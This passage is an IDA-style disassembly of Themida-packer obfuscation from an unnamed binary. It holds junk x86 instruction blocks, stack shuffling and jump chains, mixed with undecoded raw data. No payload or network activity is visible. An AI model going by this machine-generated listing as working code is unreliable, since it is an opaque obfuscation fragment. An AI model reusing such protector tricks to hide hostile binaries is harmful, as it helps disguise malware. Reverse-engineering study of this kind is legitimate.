		dd 81000000h, 4EFh, 0CB32E900h,	0C681FFFFh, 4, 8704C683h
		dd 0E95C2434h, 0FFFFD91Fh, 62466866h, 243C8966h, 3AD3BF66h
		dd 0FFA349E9h, 9F2C58FFh, 9F04F000h, 0FFC2B6E9h, 88C301FFh
		dd 2434FF13h, 0FFC4C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D8F09:				; CODE XREF: Themida_:005D2F0Aj
		mov	eax, 4
		sub	ebp, eax
		jmp	loc_5D7B2F
; ---------------------------------------------------------------------------


loc_5D8F15:				; CODE XREF: Themida_:005DBDF8j
		shl	esi, 3
		shr	esi, 7
		shr	esi, 3
		jmp	loc_5DCB9D
; ---------------------------------------------------------------------------
		db 54h
		dd 0FFCECFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D8F29:				; CODE XREF: Themida_:005D1807j
		mov	ecx, 5D8D51FAh
		add	eax, ecx
		pop	ecx
		xor	eax, 1CB12B89h
		inc	eax
		neg	eax
		push	esi
		mov	esi, 1E3747DEh
		not	esi
		jmp	loc_5D571C
; ---------------------------------------------------------------------------


loc_5D8F46:				; CODE XREF: Themida_:005DAB92j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5DCE73
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0C832E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8F5A:				; CODE XREF: Themida_:005D6D78j
		shr	ecx, 8
		push	ebx
		push	edx
		mov	edx, 7166AB6h
		push	edx
		pop	ebx
		pop	edx
		add	ebx, 0F8CCB05Bh
		add	ecx, 75A66174h
		add	ecx, ebx
		sub	ecx, 75A66174h
		jmp	loc_5DCADA
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFDA45h, 7F14F381h, 0DA29DE3Ch, 0F2AE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D8F96:				; CODE XREF: Themida_:005D478Aj
		add	dl, al
		jmp	loc_5D68D9
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 0F30527C3h, 5933FF7Ah, 0FFE900E9h, 0AAC381FFh, 571B0B62h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 2C895C24h,	0CEC1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8FCE:				; CODE XREF: Themida_:005DA809j
		xor	ebx, 6542D064h
		add	esi, 320E2468h
		jmp	loc_5DBE1B
; ---------------------------------------------------------------------------
		db 80h
		dd 0B65214EBh, 0C0D7E9EFh, 481FFFFh, 424h, 952E900h, 0EC810000h
		dd 4, 89242C89h, 98E951E5h, 83FFFFFBh, 8B042404h, 0C483243Ch
		dd 4EC8304h, 0E9243489h, 0FFFFD0A5h, 0C581E589h, 4, 4EC81h
		dd 0EEE90000h, 89FFFFCEh, 61B82404h, 311AC176h,	2434FFC2h
		dd 4C48358h, 3F7AB951h,	0F1816305h, 4B157D27h, 0FF91BEE9h
		dd 24248BFFh, 24040166h, 855EE99Ch, 0BEFFFFh, 0E9000000h
		dd 0FFFFD230h, 12DEE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D906E:				; CODE XREF: Themida_:005D657Ej
		mov	[esp], ebx
		push	ebp
		mov	ebp, 4BF83A14h
		not	ebp
		push	ecx
		push	67182567h
		pop	ecx
		or	ebp, ecx
		pop	ecx
		sub	ebp, 0F71FE5EEh
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_5DCA4B
; ---------------------------------------------------------------------------
		db 68h
		dd 7A08h, 0E9242C89h, 1CB9h, 421AB850h,	0E0D17520h, 8F2B6B2Dh
		dd 807254Ah, 57254734h,	3565504Ch, 20685999h, 199CBD55h
		dd 0DDF70E92h, 3CC1E581h, 0E5C143D0h, 0B2CAE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D90DA:				; CODE XREF: Themida_:005D6F27j
		pop	ebp
		jmp	loc_5D1BD0
; ---------------------------------------------------------------------------
		dd 0E95DEB29h, 0FFFFFEB5h, 8904EC83h, 58542404h, 405h
		dd 42D00h, 4870000h, 0B905E924h, 0D789FFFFh, 5FFE295Ah
		dd 349568h, 24348900h, 42474FFh, 8124348Bh, 4C4h, 24048F00h
		dd 2EAAE9h, 5FFD0100h, 0BB64ED81h, 3DE91F2Ah
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9133:				; CODE XREF: Themida_:005DCAE3j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5D7EA6
; ---------------------------------------------------------------------------


loc_5D914A:				; CODE XREF: Themida_:005DBF42j
		mov	[esp], ebp
		push	ebx
		xor	dword ptr [esp], 0B345369h
		pop	ebp
		xor	ebp, 0B345369h
		push	1F31h
		jmp	loc_5DD6BC
; ---------------------------------------------------------------------------


loc_5D9166:				; CODE XREF: Themida_:005D447Fj
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 328A3C7Eh
		xchg	ebp, esi
		jmp	loc_5D9F5E
; ---------------------------------------------------------------------------
		dd 7B701C2Dh, 5F82933h,	337B701Ch, 81243C8Bh, 4C4h, 58C30100h
		dd 7E3AC381h, 3687479h,	89000059h, 12B82404h, 2967670Eh
		dd 8F58C3h, 0FF840FE9h,	0E9232CFFh, 0FFFFF257h,	2404D25Ch
		dd 83FEE99Ch, 0C629FFFFh, 0FF8AD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D91C5:				; CODE XREF: Themida_:005D9BA3j
		mov	esi, 4F43186Bh
		sub	esi, 4691384h
		inc	esi
		dec	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5D46EC
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 1BE90000h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D91EF:				; CODE XREF: Themida_:005DC503j
		push	ecx
		mov	ecx, 698008E6h
		sub	ecx, 30491391h
		xor	ecx, 1B453783h
		jmp	loc_5D79AC
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 243C8704h, 0E924248Bh, 0FFFFBC9Ah
		dd 4C3815Bh, 0E9000000h, 0FFFF8559h
; ---------------------------------------------------------------------------


loc_5D9228:				; CODE XREF: Themida_:005D432Dj
		xor	dword ptr [esp], 6C371E4Ah
		pop	esi
		xor	esi, 6C371E4Ah
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5D9358
; ---------------------------------------------------------------------------
		db 56h,	81h, 0ECh
		dd 4, 0BA241489h, 2A7E22ADh, 1EE9D689h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9257:				; CODE XREF: Themida_:005D2E29j
		push	290Eh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		not	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		mov	eax, [esp]
		push	ebx
		jmp	loc_5D8747
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 9618E924h, 34FFFFFFh, 64E95F24h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9297:				; CODE XREF: Themida_:005DAF8Cj
		sub	edx, 54212123h
		sub	edx, 39C140EDh
		add	edx, edi
		add	edx, 39C140EDh
		add	edx, 54212123h
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, edx
		pop	edx
		pop	eax
		push	4794h
		jmp	loc_5D401B
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 2Dh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D92CB:				; CODE XREF: Themida_:005DCB90j
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_5DA605
; ---------------------------------------------------------------------------
		db 1, 0CEh, 59h
		dd 5430C681h, 0C601373Bh, 5430EE81h, 0BB53373Bh, 40F05CAAh
		dd 7F6CEB81h, 0F38141EFh, 5C49072Fh, 452DC381h,	0DE29757Eh
		dd 0FF8E66E9h, 2434FFFFh, 5F4A6858h, 2C890000h,	81E58924h
		dd 4C5h, 0BD555100h, 28365997h,	0CFFE9h, 80CFFE00h, 56E9CFC7h
		dd 5AFFFFC9h, 4BB53h, 0EE810000h, 7013F98h, 0C868DE29h
		dd 8900007Ch, 0E9552404h, 1266h, 2BBh, 0E9DF0100h, 0FFFF8B64h
; ---------------------------------------------------------------------------


loc_5D9358:				; CODE XREF: Themida_:005D923Cj
		and	eax, esi
		jmp	loc_5D7805
; ---------------------------------------------------------------------------
		db 59h
		dd 1D2DD829h, 83734445h, 3C8904ECh, 7A0BF24h, 0D7F76CB6h
		dd 0FFBBD3E9h, 8BF589FFh, 0C4812434h, 4, 0D5F7D5F7h, 1210BA52h
		dd 0D50128E2h, 7EDC15Ah, 290CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D9399:				; CODE XREF: Themida_:005D41BAj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		sub	esi, 21A17217h
		add	esi, edi
		add	esi, 21A17217h
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_5D63AB
; ---------------------------------------------------------------------------
		dw 0C531h
		dd 0E9EA8958h, 0FFFF9A5Ah, 4EC835Ah, 0B5240C89h, 7DF580BDh
		dd 2859EB00h, 0F4E951CBh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D93EB:				; CODE XREF: Themida_:005DA7E3j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5D7B61
; ---------------------------------------------------------------------------


loc_5D93F6:				; CODE XREF: Themida_:005D6D1Fj
		xchg	esi, [esp]
		pop	esp
		pop	ebp
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		jmp	loc_5D9649
; ---------------------------------------------------------------------------
		dw 0FCBDh
		dd 0E9370A37h, 0FFFFD746h, 8FE9D6F7h, 28FFFFA2h, 0C38059E8h
		dd 50C300A8h, 0A8E9E089h, 0F000000h, 9C51C8AFh,	0FF818BE9h
		dd 0EC8351FFh, 0B244E904h, 3C89FFFFh, 7092BF24h, 0F78104FDh
		dd 4FD7090h, 46E7E981h,	0F9292844h, 46E7C181h, 34FF2844h
		dd 13B9E924h, 0EA810000h, 173A8188h, 0E95AD501h, 0D30h
		dd 3AC28158h, 0E92B7B67h, 0FFFF8C66h, 42474FFh,	0FFBC9AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D9481:				; CODE XREF: Themida_:005D9E51j
		mov	ebp, eax
		pop	eax
		jmp	loc_5DD577
; ---------------------------------------------------------------------------
		db 53h,	0E9h, 0C8h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D948F:				; CODE XREF: Themida_:005DD178j
		pop	edi
		add	edx, 0FFFFFFFFh
		shl	edx, 3
		add	edx, 75F75BEAh
		inc	edx
		add	edx, 4D27F367h
		mov	ebp, edx
		pop	edx
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 24B14019h
		add	edx, edi
		sub	edx, 24B14019h
		add	edx, 79E04A9Ah
		add	[edx], esi
		pop	edx
		pop	esi


loc_5D94C9:				; CODE XREF: Themida_:005D1993j
		push	ebx
		jmp	loc_5D4897
; ---------------------------------------------------------------------------
		db 5
		dd 4, 4BD55h, 0DC050000h, 2D06F058h, 26C36D90h,	2E74E9h
		dd 241C8900h, 0E380A3B3h, 99EB8075h, 0E93BC380h, 3661h
; ---------------------------------------------------------------------------


loc_5D94FC:				; CODE XREF: Themida_:005D26ABj
		push	ebp
		push	339F7B86h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5D9685
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 89000000h, 0CD015EF1h, 0FF8139E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D951D:				; CODE XREF: Themida_:005D19DBj
		xchg	ebx, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_5DD869
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF808BE9h, 4BE56FFh, 1000000h, 0BD555EF1h, 4, 2C8BE901h
		dd 4C48324h, 24A268h, 240C8900h, 42474FFh, 24048F59h, 4C4815Ch
		dd 0E9000000h, 0FFFFE536h, 0C875E58h, 3E9AE924h, 0C7810000h
		dd 4, 4C781h, 3C870000h, 24248B24h, 4C581h, 0C5810000h
		dd 4, 12E6E9h, 4C48100h, 55000000h, 468h, 0CF8DE900h, 1C8BFFFFh
		dd 4C48324h, 875EF201h,	7FE92414h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D95B3:				; CODE XREF: Themida_:005DCEC1j
		add	ebp, eax
		pop	eax
		jmp	loc_5D6751
; ---------------------------------------------------------------------------
		db 50h
		dd 0E0E926B0h, 0ADFFFFF2h, 17FBE56h, 0F6814381h, 747F6530h
		dd 76BCEE81h, 0CE8132D3h, 46266EBDh, 1386B850h,	0C62127A7h
		dd 1EE2E958h, 51BD0000h, 0C14C2E5Fh, 0F74D03E5h, 0A0F0E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D95FA:				; CODE XREF: Themida_:005D6423j
		inc	ecx
		shr	ecx, 1
		sub	ecx, 46301B7Bh
		shl	ecx, 3
		jmp	loc_5D71B2
; ---------------------------------------------------------------------------
		db 1
aSg		db '["',0
		dw 5900h
		dd 34FFD701h, 0C4835A24h, 243C3304h, 33243C31h,	248B243Ch
		dd 0CD36624h, 89E99C24h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9633:				; CODE XREF: Themida_:005D72D4j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 301D736Fh
		jmp	loc_5DB9C8
; ---------------------------------------------------------------------------


loc_5D9649:				; CODE XREF: Themida_:005D9401j
		push	edi
		push	ecx
		jmp	loc_5DBBB7
; ---------------------------------------------------------------------------


loc_5D9650:				; CODE XREF: Themida_:005D65ECj
		add	esp, 4
		sub	eax, 28636F9Ah
		jmp	loc_5D64D4
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 4890000h,	56E08924h, 4BEh, 8BF00100h
		dd 0C4812434h, 4, 0FFA524E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D9685:				; CODE XREF: Themida_:005D9508j
		neg	ebp
		and	ebp, 77DD6B5Dh
		jmp	loc_5D5602
; ---------------------------------------------------------------------------


loc_5D9692:				; CODE XREF: Themida_:005DD218j
		sub	edi, 0E7DBB9DFh
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5D3E81
; ---------------------------------------------------------------------------


loc_5D96A2:				; CODE XREF: Themida_:005D7FA1j
		push	dword ptr [edi+eax*4]
		jmp	loc_5D45E0
; ---------------------------------------------------------------------------
		dw 0FDB7h
		dd 0FFDB60E9h, 4EEB81FFh, 584AAF17h, 5DC7EF81h,	0CAE9790Bh
		dd 89FFFFA7h, 0D0E9242Ch, 52FFFF80h, 6401EDBAh,	0E9D50125h
		dd 0FFFF8F22h, 533EB652h, 0DBF666B3h, 0EB80CBFEh, 9CF38001h
		dd 0FFF50FE9h, 4C281FFh, 0E9000000h, 2E29h, 0FF7EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D96FD:				; CODE XREF: Themida_:005D6ED6j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	edx, 7831055Ah
		sub	edx, ebp
		jmp	loc_5D407A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0AE9240Ch, 0B1FFFFB9h, 0F346E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D972A:				; CODE XREF: Themida_:005D4D27j
		push	1AC4h
		mov	[esp], edx
		mov	dh, 0D6h
		mov	bl, 94h
		xor	bl, dh
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 0AEh
		add	al, 0Ah
		jmp	loc_5D9F48
; ---------------------------------------------------------------------------
		dd 45C9F381h, 0E9532DACh, 0FFFF88FDh, 8324348Bh, 0C33104C4h
		dd 0E9008F66h, 0FFFF7E54h, 240C8B66h, 7AAD68h, 24148900h
		dd 0C9E9E289h, 81FFFFD3h, 0F0300DC5h, 5DEA31FBh, 148BD701h
		dd 4C48124h, 0E9000000h, 0FFFFC5FEh, 24E9CF01h,	55FFFF84h
		dd 8124148Bh, 4C4h, 0D708E900h,	42DFFFFh, 87000000h, 248B2404h
		dd 24048924h, 0FF8F85E9h, 0A7C380FFh, 0EB80CB28h, 0ADBEE9A7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D97CA:				; CODE XREF: Themida_:005DB2E5j
		xor	ebx, 2FED2DC5h
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	edx
		push	ebp
		push	eax
		mov	eax, 7F713353h
		mov	ebp, 0C7AB401Fh
		jmp	loc_5D2924
; ---------------------------------------------------------------------------
		db 89h
		dd 0B85058C6h, 50DA40E8h, 0E61E9h, 4C48100h, 8B000000h
		dd 0C4832434h, 242C8B04h, 0B0F9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 0FAAB1EFh
		add	eax, 505B5239h
		sub	eax, ebp
		push	ebx
		push	ecx
		push	ebp
		mov	ebp, 62855D53h
		jmp	loc_5D4781
; ---------------------------------------------------------------------------
		dw 1D68h
		dd 5A563F21h, 2119F281h, 55E9563Fh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9857:				; CODE XREF: Themida_:005D5257j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5DB202
; ---------------------------------------------------------------------------
		dw 875Fh
		dd 5EE92414h, 0FF000039h, 34FF2434h, 240C8B24h,	4C481h
		dd 81560000h, 4ECh, 48F5400h, 4B85024h,	81000000h, 0CB04246Ch
		dd 0E9392957h, 0FFFFE03Ah, 242C335Fh, 33242C31h, 0F3E9242Ch
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D98B3:				; CODE XREF: Themida_:005DD6C0j
		mov	ebx, 4F7707CEh
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5D6F9D
; ---------------------------------------------------------------------------


loc_5D98CE:				; CODE XREF: Themida_:005D7752j
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 3E0F1D2Dh
		mov	dword ptr [edi+24h], 0CC84073Eh
		jmp	loc_5D713D
; ---------------------------------------------------------------------------
		dd 6BFB6866h, 52665966h, 2057E9h, 35E95C00h, 900003Ah
		dd 2C8B1C6Fh, 0C776E924h, 0F180FFFFh, 59CA8841h, 685AD788h
		dd 7014h, 0E9241C89h, 0FFFFA8DCh, 6624248Bh, 6866E9F7h
		dd 89661E5Ah, 50662414h, 7C7AE99Ch, 0E951FFFFh,	2114h
		dd 4C7815Fh, 53000000h,	686868h, 24048900h, 372FBD55h
		dd 0C4E97D20h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9963:				; CODE XREF: Themida_:005D4033j
		mov	ebx, 4
		add	ebp, 25985B9Ch
		add	ebp, ebx
		sub	ebp, 25985B9Ch
		pop	ebx
		jmp	loc_5D7B3D
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF7C38h, 241CF766h, 7C2EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5D5979
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4A6C5EBDh, 6851BD55h, 0C58155FDh, 37875C4Bh,	2C66CD81h
		dd 0CD8162C3h, 6DA17EBAh, 6C77C581h, 0EE31CEC1h, 0FF7C99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D99C9:				; CODE XREF: Themida_:005DA942j
		add	eax, 6A46EF7h
		push	edx
		mov	edx, eax
		mov	ebx, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, ebx
		pop	ebx
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		add	esp, 4


loc_5D99E9:				; CODE XREF: Themida_:005DA2E7j
		push	ebx
		push	1AAEh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5DCB22
; ---------------------------------------------------------------------------
		db 81h
		dd 0E2ABDF1h, 9BBD553Ah, 4D7E5F40h, 5EBCF581h, 0C58119DEh
		dd 10DC394Ch, 3F54ED81h, 0E5D12FF2h, 4E10C581h,	0E9D9DBh
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9A2B:				; CODE XREF: Themida_:005D8E47j
		add	esp, 4
		pop	ecx
		push	ebx
		mov	ebx, 5C5C249Ah
		neg	ebx
		jmp	loc_5DC476
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C4835824h, 4FBC6804h, 14890000h,	81E28924h
		dd 4C2h, 4EC8300h, 55243C89h, 15159D68h, 0FEE95D16h, 5D00002Fh
		dd 0E924048Fh, 281Ah, 960972BDh, 970DE90Ah, 0E95CFFFFh
		dd 0FFFFE23Dh, 3C8B5457h, 4C48324h, 197FBB53h, 0EBC161EFh
		dd 0EC38108h, 81562A3Fh, 3B01D9C3h, 8870E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9AA6:				; CODE XREF: Themida_:005D8D10j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xor	ebx, [esp]
		jmp	loc_5DBF54
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 2Dh
		dd 1C51191h, 0D7E95FF8h, 0B8FFFFFCh, 6C866398h,	52F2BD55h
		dd 0E829542Ch, 92AB2D5Dh, 0CE901D5h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9AEB:				; CODE XREF: Themida_:005DA8EBj
		mov	[edi+20h], ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5D2EC5
; ---------------------------------------------------------------------------


loc_5D9B00:				; CODE XREF: Themida_:005D5A0Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5D81D6
; ---------------------------------------------------------------------------


loc_5D9B14:				; CODE XREF: Themida_:005D5A67j
		add	esi, 6C373A21h
		xor	edi, esi
		pop	esi
		push	ebx
		jmp	loc_5D84F2
; ---------------------------------------------------------------------------
		db 0D0h
		dd 9D13E9EDh, 0FABAFFFFh, 810E0820h, 767A7BF2h,	5AD1891Bh
		dd 8102E1C1h, 834986C9h, 2ABF5722h, 2164D304h, 26F8E9F9h
		dd 0E0C10000h, 5862D08h, 952D445Fh, 0E9B8216Dh,	0FFFFB06Ah
		dd 0E98090B1h, 2C670433h, 604EFh, 4062CC8h, 66672CEFh
		dd 53515259h, 0C9E96BB7h, 30FFFFCAh, 30EF30FDh,	0B05066FDh
		dd 2CA404CEh, 9FCAE94Dh, 77FFFFFFh, 11589D1Ch, 0E99C2404h
		dd 0FFFF7A1Ch
; ---------------------------------------------------------------------------


loc_5D9BA0:				; CODE XREF: Themida_:005DB403j
		shl	edx, 1
		push	esi
		jmp	loc_5D91C5
; ---------------------------------------------------------------------------
		dd 0A9E9C201h, 5C00002Eh, 9C2404D3h, 0FF7A03E9h, 2434FFFFh
		dd 0AF7EE95Ah, 3489FFFFh, 4EC8124h, 89000000h, 4812424h
		dd 424h, 24348B00h, 4C481h, 0BA520000h,	2AC71D57h, 5305EAC1h
		dd 92002DBBh, 81DBF704h, 5C7DC5E3h, 2EBC118h, 0E907E3C1h
		dd 0FFFF8B26h, 0F64DB050h, 0E9C934D8h, 330Dh
; ---------------------------------------------------------------------------


loc_5D9C0C:				; CODE XREF: Themida_:005D851Cj
		sub	ebx, 617E06D4h
		sub	ebx, 4C2102A7h
		sub	ebx, eax
		add	ebx, 4C2102A7h
		add	ebx, 617E06D4h
		add	ebx, 72E523BFh
		sub	esp, 4
		mov	[esp], ebx
		push	938390Dh
		pop	ebx
		jmp	loc_5D6B3D
; ---------------------------------------------------------------------------
		dd 22E6815Bh, 810E0C30h, 1327F7CEh, 20BD5526h, 0F764045Bh
		dd 8E5C1D5h, 0E906EDC1h, 3947h,	155E2305h, 25D0F724h, 1DE7842h
		dd 2DF05105h, 58C7897Ch, 479E9h, 0BD555600h, 68EA6E2Fh
		dd 0EA6E33BEh, 5DEE2968h, 875EF329h, 895C241Ch,	0C2BB241Ch
		dd 0D1733C57h, 80F381E3h, 1E678AFh, 5B04245Ch, 0FF7913E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D9CA9:				; CODE XREF: Themida_:005D418Ej
		add	esp, 4
		push	edi
		jmp	loc_5D341D
; ---------------------------------------------------------------------------
		dw 8966h
		dd 8850241Ch, 7B66E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9CBE:				; CODE XREF: Themida_:005D4D80j
		pop	edx
		add	esp, 4
		jmp	loc_5D386C
; ---------------------------------------------------------------------------
		dw 0D0F6h
		dd 0C003E0C0h, 68E904E8h, 8B00001Bh, 5EE92424h,	83FFFFE0h
		dd 0D5E902C4h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9CE7:				; CODE XREF: Themida_:005D7659j
		pop	ebx
		jmp	loc_5DCE04
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 1DE3h, 0F7243431h, 9B1DE9D6h, 0CB01FFFFh
		dd 0E9240C8Bh, 0FFFFC3D4h, 7CFAC581h, 0C58172CBh, 49C06BDh
		dd 939F581h, 0BE5661E3h, 7E8F6719h, 815EF509h, 6C3533C5h
		dd 7ABE5601h, 465A283Eh, 0FF9C44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D9D39:				; CODE XREF: Themida_:005D5957j
		pop	eax
		add	eax, 69C920D3h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5DC056
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FFE82AE9h, 8E2C0FFh, 8094F280h, 0D3888AF2h, 84E3805Ah
		dd 806BF380h, 5366B9F3h, 1CE996B7h, 81FFFFD7h, 255DC0CEh
		dd 0EFE7E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9D7E:				; CODE XREF: Themida_:005D6872j
		mov	eax, 0
		add	eax, edx
		add	[eax], ebp
		pop	eax
		pop	edx
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_5D9DA2:				; CODE XREF: Themida_:005D2687j
		push	ebp
		push	eax
		mov	eax, ebx
		push	eax
		add	dword ptr [esp], 7E7575CFh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5DC1AE
; ---------------------------------------------------------------------------
		db 0BEh, 4Ch, 39h
		dd 524E4B93h, 6117D2BAh, 0B08DE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9DCE:				; CODE XREF: Themida_:005DBC68j
		shr	ebx, 2
		push	eax
		jmp	loc_5DC039
; ---------------------------------------------------------------------------
		db 80h
		dd 0B7E9CEF5h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D9DDF:				; CODE XREF: Themida_:005D8713j
		mov	ebx, esi
		pop	esi
		dec	ebx
		push	ebp
		mov	ebp, 2DF72CE6h
		jmp	loc_5D3EC6
; ---------------------------------------------------------------------------
		dw 8966h
		dd 0C5E92404h, 66FFFF77h, 68241489h, 4720h, 0FFF6E4E9h
		dd 0E68956FFh, 4B951h, 0CE010000h, 4C68159h, 0E9000000h
		dd 0E65h
; ---------------------------------------------------------------------------


loc_5D9E1C:				; CODE XREF: Themida_:005D636Ej
		sub	esi, 6AAB2047h
		add	esi, edi
		add	esi, 6AAB2047h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, 69A42187h
		or	eax, 2A917375h
		xor	eax, 51485E45h
		shr	eax, 8
		xor	eax, 717C45B3h
		add	eax, 2C1B2DA4h
		jmp	loc_5D9481
; ---------------------------------------------------------------------------
		dw 48Bh
aVh3		db '$Vh#3',0
		dw 8900h
		dd 4812424h, 424h, 24348B00h, 4C481h, 0B5E90000h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9E77:				; CODE XREF: Themida_:005DC8C4j
		xor	eax, ecx
		jmp	loc_5DCD9E
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 0E1895100h, 0FF789DE9h, 242C8BFFh, 0FF9372E9h
		dd 2434FFFFh, 4C4835Eh,	8904EC83h, 0F789243Ch, 13E95957h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9EAB:				; CODE XREF: Themida_:005DCDDDj
		push	edi
		pop	edx
		pop	edi
		xchg	edx, [esp]
